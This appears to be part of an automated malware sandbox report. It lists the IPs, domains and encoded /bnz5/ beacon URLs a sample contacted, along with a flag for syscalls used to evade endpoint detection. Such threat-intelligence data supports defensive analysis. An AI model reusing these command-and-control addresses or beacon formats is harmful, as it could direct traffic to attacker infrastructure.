www.book-of-degen.xyz 75.2.60.5, 49740, 49741, 49742 AMAZON-02US United States 28->42 44 8 other IPs or domains 28->44 74 Found direct / indirect Syscall (likely to bypass EDR) 28->74 signatures14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.195.240.117
 www.myspinpods.com Germany
47846 SEDO-ASDE false
203.161.50.128
 www.fusionndustries.xyz Malaysia
45899 VNPT-AS-VNVNPTCorpVN true
66.96.162.136
 www.seatheskydesign.online United States
29873 BIZLAND-SDUS false
185.215.4.13
 www.naglissere.ru Denmark
50129 TVHORADADAES false
174.138.177.173
 www.elysiangame.online United States
19318 IS-AS-1US false
103.66.94.182
 www.ojyphyi.website China
55933 CLOUDIE-AS-APCloudieLimitedHK false
134.122.178.172
 ccxx.cat-dragon-diiojsofso.com United States
64050 BCPL-SGBGPNETGlobalASNSG false
75.2.60.5
 www.book-of-degen.xyz United States
16509 AMAZON-02US true
43.132.191.179
 www.vvbgsekbo.store Japan 4249 LILLY-ASUS false
37.61.232.138
 wedgetechflash.co.ke United Kingdom
22612 NAMECHEAP-NETUS false

Contacted Domains

Name IP Active
www.seatheskydesign.online 66.96.162.136 true
wedgetechflash.co.ke 37.61.232.138 true
www.myspinpods.com 91.195.240.117 true
ccxx.cat-dragon-diiojsofso.com 134.122.178.172 true
www.blueberry-breeze.com 91.195.240.117 true
www.vvbgsekbo.store 43.132.191.179 true
www.fusionndustries.xyz 203.161.50.128 true
www.elysiangame.online 174.138.177.173 true
www.ojyphyi.website 103.66.94.182 true
www.collegeclubapparel.com 91.195.240.117 true
www.book-of-degen.xyz 75.2.60.5 true
www.othlastore.com 91.195.240.117 true
www.mytemplotech.com 91.195.240.117 true
www.naglissere.ru 185.215.4.13 true
www.aretikokkoris.com unknown unknown
www.drjoserizal.com unknown unknown
www.wedgetechflash.co.ke unknown unknown
www.66bm99.shop unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.seatheskydesign.online/bnz5/ false
    		unknown
    http://www.wedgetechflash.co.ke/bnz5/?gr=1jaEnVPJQbBr8WwKNEfMHYGZjhye5aSOWdurwFccCTE0UU1/+EdJo2t+tokAsIL/Mwf8dbmtfOzyBKuFYSi0CvpWL7by1S5GZC5tkYq+xKghYmLhmWFfGXtgNdAY2BZgRg==&kFGTX=Q6OxIXo8tXD false
      		unknown
      http://www.mytemplotech.com/bnz5/?kFGTX=Q6OxIXo8tXD&gr=23UPPxRjGSNUJTgmtj2qEyLz/ntkvqKRRFHtLj5W9bo9CLdZgto2DYnNUhYakwcl0jYhNZjG9CPBZRuAkcQvlwifYrEIa7IdBg/GlOURZYl7vwvnI0pSC8vNdE3Ml+j1JA== false
        		unknown
        http://www.fusionndustries.xyz/bnz5/?gr=xJEpvmsSZWMn08k0fswZUF3i8FJV6XmZDE9zwebvcwnWaSyOd7ieKTZxqd8LfY736VbykJAs8QtIZUIve9rpP7hx1kot6ym/I/JMbr2a3NM5FLBwcSvbdBi7Xsx3rbBzJg==&kFGTX=Q6OxIXo8tXD false
          		unknown
          http://www.myspinpods.com/bnz5/ false
            		unknown
            http://www.blueberry-breeze.com/bnz5/ false unknown
            http://www.elysiangame.online/bnz5/?kFGTX=Q6OxIXo8tXD&gr=4BEdEKurUNEFwkFRegiDBzC7pj7sTtT0kB0gdoDHo+aBzggPclQDQJqF4ehpSB3lBDvuZzIzoYk2h0Zy/GWQSTC2T/c7HqqgmNNGpbvCRxrYpdpNw0fXnMi51aRJIBirrQ== false
              		unknown
              http://www.naglissere.ru/bnz5/?kFGTX=Q6OxIXo8tXD&gr=UMNiUc6XIv/d2uC7IlFmdfXYbiB/0cGyF5nVzLNzjfRVEsK0zJlkeP+z5Z1MT37PYueGSacB+keqYnFu3S8ymlT8yqaJ/dNBtni0ghgK1oHFbUR/jwcWs7rz0kpYku2gKQ== false
                		unknown
                http://www.fusionndustries.xyz/bnz5/ false unknown
                http://www.blueberry-breeze.com/bnz5/?gr=Z7N7hXY/vxItmyrXNQB4LENYEQnuSZ4/X1tSw0B7uFqoJtXe6IwXeXQiXEM/Xr4/ado0xvKOz5lKhVT9TZmVC0ntJKIXA1qlQqDuwiNLRNgNzKASDET1ivmJ23BpeRNTPw==&kFGTX=Q6OxIXo8tXD false
                  		unknown
                  http://www.collegeclubapparel.com/bnz5/?kFGTX=Q6OxIXo8tXD&gr=k/xiXeKkElN9lmj7tVr8idaf/wpGLS/XfVixYgRWGr55oYC/zYvRgJVTIR6Icyf7C+fnrNLi6yuD3OJtT3FnzryZpasAqgaz10+v5QpHvKqHjO9njldZ1cZrBWCORkcOsw== false
                    		unknown
                    http://www.seatheskydesign.online/bnz5/?gr=6OoDw3xNyuUxCb7SO8/wQWyB7gJcoYv4ZTaI1h51IYF+sVRVSOMOuR9r6Rx19mFv7TRZYpTQN5hhg3dhUB7GRpmcej2viG1w8/6TMbbBsdyRJnmf1CwT9GI+x7zG1LG56Q==&kFGTX=Q6OxIXo8tXD false
                      		unknown
                      http://www.wedgetechflash.co.ke/bnz5/ false unknown
                      http://www.ojyphyi.website/bnz5/ false
                        		unknown
                        http://www.vvbgsekbo.store/bnz5/?gr=J5sdn6UHwrTFsLl7PSE+273sNdFQMS+e/Eepb66AdUMKjr/OxnnLPWtAHrBNDsqMNKwlUYW9tPjJnamC/Yv4erSiZvDT3TM3BG/s9HlMNwb39HB/smoNNYSAbH35aGk1gA==&kFGTX=Q6OxIXo8tXD false
                          		unknown
                          http://www.othlastore.com/bnz5/ false unknown
                          http://www.ojyphyi.website/bnz5/?kFGTX=Q6OxIXo8tXD&gr=N6yreUGrEwmnZyuRuhm7fu2pjjSQdKU6BgmK3dVc5hhl4QdzezeViDhR5sAjVdDUmsLMRcLdrvPdYjLD7b1ZIx3A1Z1l9931wLtzigwrLlFKueBnJaM0qh412Fe43461Qw== false
                            		unknown
                            http://www.book-of-degen.xyz/bnz5/?kFGTX=Q6OxIXo8tXD&gr=90cL6Q+hnzVn1nW1iqhU1H7cWV3fvz6SaIERCijRkAMfp+TQya0GlzYPpQzULEJqUDrLh9Kv8LQV8OdLSWJ6ERPfs+zhKb8B6PZEz280PNZ5UlofhaQwyuwHrpNW2TXV5g== false
                              		unknown
                              http://www.naglissere.ru/bnz5/ false
                                		unknown
                                http://www.book-of-degen.xyz/bnz5/ false
                                  		unknown
                                  http://www.vvbgsekbo.store/bnz5/ false
                                    		unknown
                                    http://www.66bm99.shop/bnz5/ false
                                      		unknown
                                      http://www.collegeclubapparel.com/bnz5/ false
                                        		unknown
                                        http://www.othlastore.com/bnz5/?gr=zdwoT+oWWlgyDxCB5HfbKl0ceeCoMM1WsfXRj0lrAfPT+1DsmzcZqVZ0gwFwp9Re8dyKn5b7kYDBw8FcuEN9m4nkKjfCAjjkfqKhmamnNO4NqnkVPKDFVPgTCNPXruJSGA==&kFGTX=Q6OxIXo8tXD false
                                          		unknown
                                          http://www.mytemplotech.com/bnz5/ false
                                            		unknown